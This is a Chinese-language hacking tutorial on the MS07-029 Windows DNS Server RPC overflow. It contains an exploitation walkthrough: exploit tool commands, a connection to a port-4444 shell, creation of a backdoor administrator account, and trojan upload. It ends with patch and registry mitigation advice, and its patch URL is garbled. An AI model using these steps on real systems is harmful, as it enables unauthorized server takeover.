DNS 是域名系統 (Domain Name System) 的縮寫。大家在上網時輸入的網址,是通過域名解析系解析找到相對應的IP地址才能訪問到網站。但是最近微軟的Windows 2000和Windows 2003的DNS服務出現一個極高的安全漏洞,如果被黑客成功利用的話,那么我們的上網操作將遇到巨大的麻煩。
黑客姓名:張均誠
黑客特長:Windows系統漏洞研究
使用工具:DNS服務器漏洞利用工具
黑客自白:最近Windows系統的DNS出現了0day漏洞,自從這個安全漏洞的代碼被披露,攻擊這個漏洞的Nirbot蠕蟲已經出現了各種變體。如果這個漏洞被黑客利用,那么系統就會被黑客完全控制。
DNS漏洞打開系統防線
Windows DNS如果存在這個漏洞,那么它在工作時,RPC接口如果處理到有非常規的畸形連接請求,就會向外釋放管理員權限,讓黑客可以利用這種漏洞完全控制系統。黑客可以通過向有這個漏洞的系統發送一個經過特別設計的RPC數據包,就能夠獲得該系統的管理員權限,遠程執行任意指令。
小知識:什么是RPC
遠程過程調用 (RPC) 是一種協議,程序可使用這種協議向網絡中的另一臺計算機上的程序請求服務。由于使用 RPC 的程序不必了解支持通信的網絡協議的情況,因此 RPC 提高了程序的互操作性。
此前,RPC中也出現過數個漏洞,其中包括導致Blaster蠕蟲大爆發的那個漏洞。這一最新的漏洞是一個堆棧溢出漏洞,給微軟和Windows用戶帶來了很大麻煩。
根據微軟發布的消息,Windows XP和Windows Vista不會受到這一DNS漏洞的影響,Windows 2000 Server SP4、Windows Server 2003 SP1、Windows Server 2003 SP2則存在這一漏洞。
輕松利用DNS漏洞
打開系統的命令提示符,接著跳轉到DNS服務器漏洞利用工具所在的命令,然后執行該漏洞利用工具(圖1)。

在該漏洞的利用程序中執行命令:dns.exe -h 127.0.0.1 -t 1 -p 445,因為我是在本地計算機上進行測試的,所以其中的IP地址為127.0.0.1,而且需要根據服務器版的語言設置參數。當利用工具提示溢出成功以后,就可以利用命令或程序nc連接存在漏洞的服務器中的4444端口,比如telnet 127.0.0.1 4444(圖2)。需要說明的是,該工具的成功率并不是特別的高,所以在測試的時候需要多進行幾次

當我們成功利用漏洞進行溢出以后,就可以在命令行輸入: user pcw 1234 /add,回車確定后如果顯示命令成功,就說明已經成功的添加了一個用戶名為pcw密碼為1234的用戶。
然后我們再在命令行輸入:net localgroup administrators pcw /add,成功執行的話就表示將該用戶已經添加到管理員組(圖3)。

現在只要利用Windows系統自帶的遠程桌面功能,接著連接到該DNS服務器的IP地址,然后利用我們剛剛創建的用戶名進行登錄,就可以進行適時地遠程管理操作了(圖4)。

如果遠程服務器沒有開通終端服務功能,也可以通過溢出得到的命令提示符窗口,通過FTP或Tftp命令上傳我們的木馬程序,這樣也可以進行有效的遠程管理操作。
漏洞危害大,不可不防
由于這個安全漏洞影響到Windows 2000 Server和Windows Server 2003服務器軟件,而且每一種語言版本的Windows服務器都要有一個補丁。微軟提供的補丁地址:http://www..com/china/technet/security/bulletin/ms07-029.mspx,請根據自己情況選擇對應的補丁。
同時,建議管理員采取如下措施以降低威脅。首先打開注冊表編輯器,找到以下注冊表位置HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters,通過右鍵菜單新建一個名為“RpcProtocol”的DWORD項目,然后雙擊新建的值并將該值的數據更改為4,最后重啟DNS服務更改生效即可。


